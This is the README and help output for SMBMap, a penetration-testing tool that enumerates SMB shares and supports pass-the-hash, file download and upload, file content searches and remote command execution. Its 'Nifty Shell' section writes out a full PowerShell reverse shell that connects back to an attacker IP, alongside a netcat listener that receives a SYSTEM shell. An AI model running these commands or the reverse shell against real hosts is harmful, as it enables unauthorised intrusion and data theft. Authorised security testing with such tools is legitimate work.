SMBMap
SMBMap allows users to enumerate samba share drives across an entire domain. List share drives, drive permissions, share contents, upload/download functionality, file name auto-download pattern matching, and even execute remote commands. This tool was designed with pen testing in mind, and is intended to simplify searching for potentially sensitive data across large networks.
Some of the features have not been thoroughly tested, so changes will be forth coming as bugs are found. I only really find and fix the bugs while I'm on engagements, so progress is a bit slow. Any feedback or bug reports would be appreciated.
Note
SMBMap has been updated to Python3!
Installation
$ sudo pip3 install smbmap
$ smbmap
smbmap
usage: smbmap [-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD | --prompt] [-s SHARE] [-d DOMAIN]
[-P PORT] [-v] [--admin] [--no-banner] [--no-color] [--no-update] [-x COMMAND] [--mode CMDMODE]
[-L | -r [PATH]] [-A PATTERN | -g FILE | --csv FILE] [--dir-only] [--no-write-check]
[-q] [--depth DEPTH] [--exclude SHARE [SHARE ...]] [-F PATTERN] [--search-path PATH]
[--search-timeout TIMEOUT] [--download PATH] [--upload SRC DST] [--delete PATH TO FILE] [--skip]
...Features:
- Pass-the-Hash Support
- File upload/download/delete
- Permission enumeration (writable share, meet Metasploit)
- Remote Command Execution
- Distrubted file content searching (beta!)
- File name matching (with an auto downoad capability)
- Host file parser supports IPs, host names, and CIDR
Help
usage: smbmap.py [-h] (-H HOST | --host-file FILE) [-u USERNAME] [-p PASSWORD | --prompt] [-s SHARE] [-d DOMAIN] [-P PORT] [-v] [--admin] [--no-banner] [--no-color] [--no-update] [--timeout SCAN_TIMEOUT] [-x COMMAND] [--mode CMDMODE]
[-L | -r [PATH]] [-A PATTERN | -g FILE | --csv FILE] [--dir-only] [--no-write-check] [-q] [--depth DEPTH] [--exclude SHARE [SHARE ...]] [-F PATTERN] [--search-path PATH] [--search-timeout TIMEOUT] [--download PATH]
[--upload SRC DST] [--delete PATH TO FILE] [--skip]
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator | Shawn Evans - [email protected]
https://github.com/ShawnDEvans/smbmap
options:
-h, --help show this help message and exit
Main arguments:
-H HOST IP of host
--host-file FILE File containing a list of hosts
-u USERNAME Username, if omitted null session assumed
-p PASSWORD Password or NTLM hash
--prompt Prompt for a password
-s SHARE Specify a share (default C$), ex 'C$'
-d DOMAIN Domain name (default WORKGROUP)
-P PORT SMB port (default 445)
-v Return the OS version of the remote host
--admin Just report if the user is an admin
--no-banner Removes the banner from the top of the output
--no-color Removes the color from output
--no-update Removes the "Working on it" message
--timeout SCAN_TIMEOUT
Set port scan socket timeout. Default is .5 seconds
Command Execution:
Options for executing commands on the specified host
-x COMMAND Execute a command ex. 'ipconfig /all'
--mode CMDMODE Set the execution method, wmi or psexec, default wmi
Shard drive Search:
Options for searching/enumerating the share of the specified host(s)
-L List all drives on the specified host, requires ADMIN rights.
-r [PATH] Recursively list dirs and files (no share\path lists the root of ALL shares), ex. 'email/backup'
-A PATTERN Define a file name pattern (regex) that auto downloads a file on a match (requires -r), not case sensitive, ex '(web|global).(asax|config)'
-g FILE Output to a file in a grep friendly format, used with -r (otherwise it outputs nothing), ex -g grep_out.txt
--csv FILE Output to a CSV file, ex --csv shares.csv
--dir-only List only directories, ommit files.
--no-write-check Skip check to see if drive grants WRITE access.
-q Quiet verbose output. Only shows shares you have READ or WRITE on, and suppresses file listing when performing a search (-A).
--depth DEPTH Traverse a directory tree to a specific depth. Default is 5.
--exclude SHARE [SHARE ...]
Exclude share(s) from searching and listing, ex. --exclude ADMIN$ C$'
File Content Search:
Options for searching the content of files (must run as root), kind of experimental
-F PATTERN File content search, -F '[Pp]assword' (requires admin access to execute commands, and PowerShell on victim host)
--search-path PATH Specify drive/path to search (used with -F, default C:\Users), ex 'D:\HR\'
--search-timeout TIMEOUT
Specifcy a timeout (in seconds) before the file search job gets killed. Default is 300 seconds.
Filesystem interaction:
Options for interacting with the specified host's filesystem
--download PATH Download a file from the remote system, ex.'C$\temp\passwords.txt'
--upload SRC DST Upload a file to the remote system ex. '/tmp/payload.exe C$\temp\payload.exe'
--delete PATH TO FILE
Delete a remote file, ex. 'C$\temp\msf.exe'
--skip Skip delete file confirmation prompt
Examples:
$ python smbmap.py -u jsmith -p password1 -d workgroup -H 192.168.0.1
$ python smbmap.py -u jsmith -p 'aad3b435b51404eeaad3b435b51404ee:da76f2c4c96028b7a6111aef4a50a94d' -H 172.16.0.20
$ python smbmap.py -u 'apadmin' -p 'asdf1234!' -d ACME -Hh 10.1.3.30 -x 'net group "Domain Admins" /domain'
Default Output:
$ ./smbmap.py -H 192.168.12.123 -u administrator -p asdf1234
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.86.39...
[+] IP: 192.168.86.39:445 Name: biffhenderson-pc.lan
Disk Permissions Comment
---- ----------- -------
ADMIN$ READ, WRITE Remote Admin
C$ READ, WRITE Default share
IPC$ NO ACCESS Remote IPC
Users READ, WRITE
Command execution:
$ python smbmap.py -u ariley -p 'P@$$w0rd1234!' -d ABC -x 'net group "Domain Admins" /domain' -H 192.168.2.50
[+] Finding open SMB ports....
[+] User SMB session established...
[+] IP: 192.168.2.50:445 Name: unknown
Group name Domain Admins
Comment Designated administrators of the domain
Members
-------------------------------------------------------------------------------
abcadmin
The command completed successfully.
Non recursive path listing (ls):
$ python smbmap.py -H 172.16.0.24 -u Administrator -p 'changeMe' -r 'C$/Users'
[+] Finding open SMB ports....
[+] User SMB session established...
[+] IP: 172.16.0.24:445 Name: 172.16.0.24
Disk Permissions
---- -----------
C$ READ, WRITE
.Users
dw--w--w-- 0 Wed Apr 29 13:15:25 2015 .
dw--w--w-- 0 Wed Apr 29 13:15:25 2015 ..
dr--r--r-- 0 Wed Apr 22 14:50:36 2015 Administrator
dr--r--r-- 0 Thu Apr 9 14:46:57 2015 All Users
dw--w--w-- 0 Thu Apr 9 14:46:49 2015 Default
dr--r--r-- 0 Thu Apr 9 14:46:57 2015 Default User
fr--r--r-- 174 Thu Apr 9 14:44:01 2015 desktop.ini
dw--w--w-- 0 Thu Apr 9 14:46:49 2015 Public
dr--r--r-- 0 Wed Apr 22 13:33:01 2015 wingus
File Content Searching:
$ python smbmap.py --host-file ~/Desktop/smb-workstation-sml.txt -u NopSec -p 'NopSec1234!' -d widgetworld -F '[1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]'
[+] Finding open SMB ports....
[+] User SMB session established on 192.168.0.99...
[+] User SMB session established on 192.168.0.85...
[+] User SMB session established on 192.168.0.89...
[+] File search started on 1 hosts...this could take a while
[+] Job 4650e5a97b9f4ca884613f4b started on 192.168.0.99, result will be stored at C:\Temp\4650e5a97b9f4ca884613f4b.txt
[+] File search started on 2 hosts...this could take a while
[+] Job e0c822a802eb455f96259f33 started on 192.168.0.85, result will be stored at C:\Windows\TEMP\e0c822a802eb455f96259f33.txt
[+] File search started on 3 hosts...this could take a while
[+] Job 0a5d352bf2bd4e288e0f8f36 started on 192.168.0.89, result will be stored at C:\Temp\0a5d352bf2bd4e288e0f8f36.txt
[+] Grabbing search results, be patient, share drives tend to be big...
[+] Job 1 of 3 completed on 192.168.0.85...
[+] File successfully deleted: C$\Windows\TEMP\e0c822a802eb455f96259f33.txt
[+] Job 2 of 3 completed on 192.168.0.89...
[+] File successfully deleted: C$\Temp\0a5d352bf2bd4e288e0f8f36.txt
[+] Job 3 of 3 completed on 192.168.0.99...
[+] File successfully deleted: C$\Temp\4650e5a97b9f4ca884613f4b.txt
[+] All jobs complete
Host: 192.168.0.85 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
No matching patterns found
Host: 192.168.0.89 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
C:\Users\terdf\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JY5MGKVO\salesmaps[1].htm
C:\Users\terdf\OldFiles\Cache_2013522\Content.IE5\JY5MGKVO\salesmaps[1].htm
Host: 192.168.0.99 Pattern: [1-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9][0-9][0-9]
C:\Users\biffh\AppData\Local\Microsoft\Internet Explorer\DOMStore\L7W17OPZ\static.olark[1].xml
C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\MIY2POGJ\validation[2].js
C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\NV1MNBWA\Docs[1].htm
C:\Users\biffh\AppData\Local\Temp\Temporary Internet Files\Content.IE5\NV1MNBWA\Salesmaps[1].htm
Drive Listing:
This feature was added to complement the file content searching feature
$ python smbmap.py -H 192.168.1.24 -u Administrator -p 'R33nisP!nckle' -L
[!] Missing domain...defaulting to WORKGROUP
[+] Finding open SMB ports....
[+] User SMB session established...
[+] IP: 192.168.1.24:445 Name: unknown
[+] Host 192.168.1.24 Local Drives: C:\ D:\
[+] Host 192.168.1.24 Net Drive(s):
E: \\vboxsrv\Public VirtualBox Shared Folders
Nifty Shell:
Run Powershell Script on Victim SMB host (change the IP in the code to your IP addres, i.e where the shell connects back to)
$ python smbmap.py -u jsmith -p 'R33nisP!nckle' -d ABC -H 192.168.2.50 -x 'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""192.168.0.153""""; $port=""""4445"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize ;$p=New-Object System.Diagnostics.Process ;$p.StartInfo.FileName=""""cmd.exe"""" ;$p.StartInfo.RedirectStandardInput=1 ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0 ;$p.Start() ;$is=$p.StandardInput ;$os=$p.StandardOutput ;Start-Sleep 1 ;$e=new-object System.Text.AsciiEncoding ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length) ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}} if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else { $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}} $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'
[+] Finding open SMB ports....
[+] User SMB session established...
[+] IP: 192.168.2.50:445 Name: unkown
[!] Error encountered, sharing violation, unable to retrieve output
Attackers Netcat Listener:
$ nc -l 4445
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
nt authority\system